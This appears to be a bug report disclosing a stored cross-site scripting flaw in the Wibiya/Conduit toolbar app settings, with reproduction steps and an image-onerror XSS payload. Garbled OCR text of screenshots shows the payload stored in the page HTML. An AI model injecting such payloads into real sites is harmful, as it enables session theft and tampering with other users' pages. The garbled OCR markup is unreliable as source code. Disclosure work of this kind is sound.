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1. Create an account at
http://wibiya.conduit.com/web_toolbar
Add apps like ‘Social chat’, ‘Real Time Users’,”Smart Share’ etc
while Signing Up.
2. Sign In to Wibiya.conduit account by clicking ‘login’
in the Conduit Web Toolbar in the top.
3. Go to ‘Edit Bar’, Chose ‘My applications’
4. Mouse hover on apps u have added as mentioned above.
5. Eg: Hover mouse cursor on ‘Social Chat’ apps , Click on ‘Edit’
option,
6. POSTDATA: "'><img src=vul onerror=alert(document.domain)>
ans Save
Now repeat 3,4,5" steps
Observe the Popup.
Criticality is very high in the ‘Social Chat’ apps compared to other.
Since once the JavaScript is injected , can’t change it next trials!!
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Overview

The page at http://wibiya.conduit.com says:

Settings

Choose which networks are available to your users. Your users will be able to connect to several
networks simultaneously and choose one with which to enter the chat rooms.
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You have complete moderation control over the chat reom. This means, you can eliminate unwanted messages and
rooms permanently. Your moderator tools are available directly from the chat application within your website.
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even ban unwanted users from your chat

Read connect facebook.net
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M Smart Share The page at http://wibiya.conduit.com says: b
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Overview Settings
Image recognition

D Automatically DetectImages

@ Custom Image Detection
[¥] DetectImages only within this container ID:
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[¥] Detect onlyimages with this CSS class
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Sharing Text
Click Hera to Share
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Transferring data from wibiya.disqus.com...
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“ Real Time Users The page Wm&{cam says: =
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This application has no settings, click on the Save button to add it

* if you already have a whos.amung.us account Click Here

Display item as:
@ Icon + Number

@ Icon + Text + Number

Q o2 @ online Users (232)

Transferring data from ds.addthis.com...

Below is the Snapshot to show the script injected.
IT IS STORED AND MODIFIED IN THE SERVER SIDE

Eg: SOCIAL APPS: : ""><img src=vul onerror=alert(document.domain)>

liv elags="field field terms">
<gpan class="title"»Join Chat (user not connected)</span>
<div class="stuff"><inpnt type="ctext" maxlength="50" value="{4&#039;><img src=vul onerror=alert(l)}"

name="terml"
divy
liv class="field field terms"»
<span class="title"»Chat (user connected)</span>
<div class="stuff"><input type="text" maxlength="30" value="("'&#039;><img src=vul onerror=alert(l)

name="term2"
‘divr
liv clags="field field terms">
<span class="title"»0nline (online user status)</span>
<div clags="stufi"><input type="text" maxlength="30" value=""&#039;><ing src=vul onerror=alert(l)>" name="term3"
divy
liv clags="field field terms big margin botton":
¢span class="title"»Invisible (invisible user status)</span>
<div class="stuff"><inpnt type="text" maxlength="50" value=""4&#039;><img src=vul onerror=alert(1)>" name="terms"
divr
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